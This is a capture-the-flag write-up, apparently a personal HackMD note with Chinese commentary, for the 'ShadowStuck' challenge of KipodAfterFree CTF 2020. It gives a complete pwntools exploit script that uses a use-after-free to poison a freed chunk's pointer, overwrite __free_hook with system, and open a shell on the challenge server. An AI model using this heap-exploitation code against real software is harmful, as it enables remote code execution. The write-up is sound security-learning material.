###### tags: ` KipodAfterFree CTF 2020 ` # ShadowStuck(uaf) ```python= from pwn import * context.arch = 'amd64' def exit(reason): p.recvuntil(b"> ") p.sendline(b"Q") p.recvline() p.sendline(reason) def read(employee_num): p.recvuntil(b"> ") p.sendline(b"R") p.recvuntil(b"> ") p.sendline('%d' % employee_num) a = p.recvline() if b'Could not' in a: raise Exception("Could not find employee") employee_name = a.split(b': ')[1][:-1] return employee_name def fire(employee_name, reason): p.recvuntil(b"> ") p.sendline(b"F") p.recvuntil(b"> ") p.sendline(employee_name) if b'Could not' in p.recvline(): raise Exception("Could not find employee") p.recvuntil(b"> ") p.sendline(reason) def add(employee_name): p.recvuntil(b"> ") p.sendline(b"A") p.recvuntil(b"> ") p.sendline(employee_name) def change(employee_num, employee_new_name): p.recvuntil(b"> ") p.sendline(b"C") p.recvuntil(b"> ") p.sendline("%d" % employee_num) p.recvuntil(b"> ") p.sendline(employee_new_name) #p = process("./shadowstuck") p = remote("challenges.ctf.kaf.sh",8000) libc = ELF('./libc-2.31.so') p.recvuntil("Shadow stack set up at ") leak = int(p.recvline().strip(),16) libc.address = leak +0x2000 add("0") fire("0",b'A'*0x10 +p64(libc.sym['__free_hook']-0x8)) #pause() change(1,b"/bin/sh;" + p64(libc.sym['system'])) #pause() fire(b"/bin/sh;" + p64 (libc.sym['system']), "" ) p.interactive() ``` - 老樣子寫def方便傳送 - ![](https://i.imgur.com/0WtzLOO.png) - fire的function就是本次漏洞,等同於free,會發現它沒有將index設null,存在use after free漏洞 - ![](https://i.imgur.com/rKCAAQD.png) - 此外執行free發現free完之後會要你輸入fire原因,char name(0x10)而原因也用同一塊free chunk卻分給(0x18大小),代表可蓋到fd(指向下個chunk),代表可以指到任意位置(free hook,malloc hook) - ![](https://i.imgur.com/sFjP9iD.png) - 另外發現每次執行程式會leak一個地址,在attach上去找到跟libc偏移值為0x2000 - 現在將fd寫向free hook-0x8的位址,利用change函數將複寫/bin/sh跟system地址剛好0x10大小進去,/bin/sh寫在-0x8位址,而system剛好蓋到free hook - 此時free掉這塊index,他會用到free hook,爾此時free hook地址已經被覆蓋成system,他找`"/bin/sh;" + p64 (libc.sym['system'])`這個人名時會吃進`/bin/sh;`從而call system"/bin/sh" - ![](https://i.imgur.com/JxKZoC3.png)